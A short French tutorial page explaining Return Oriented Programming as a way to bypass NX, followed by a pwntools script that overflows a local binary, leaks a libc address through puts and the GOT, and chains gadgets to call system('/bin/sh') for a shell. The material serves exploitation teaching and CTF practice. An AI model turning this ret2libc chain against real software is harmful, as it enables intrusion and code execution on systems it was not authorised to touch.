ROP — Return Oriented Programming

NX bypass Avancé

Qu'est-ce que le ROP ?

ROP contourne NX en chaînant de petites séquences d'instructions existantes dans le binaire (gadgets). Chaque gadget se termine par ret, qui consomme la valeur suivante sur la stack comme nouvelle adresse.

Construire system("/bin/sh")

from pwn import *
elf  = ELF("./binary")
libc = ELF("./libc.so.6")
p    = process("./binary")

offset  = 72
pop_rdi = 0x401203     # gadget: pop rdi ; ret
ret     = 0x40101a     # gadget: ret (alignement)

# Phase 1 : leaker adresse libc
payload = flat(
    b"A" * offset,
    pop_rdi, elf.got["puts"],
    elf.plt["puts"],
    elf.sym["main"]
)
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym["puts"]

# Phase 2 : system("/bin/sh")
binsh = next(libc.search(b"/bin/sh\x00"))
payload2 = flat(b"A"*offset, ret, pop_rdi, binsh, libc.sym["system"])
p.sendline(payload2)
p.interactive()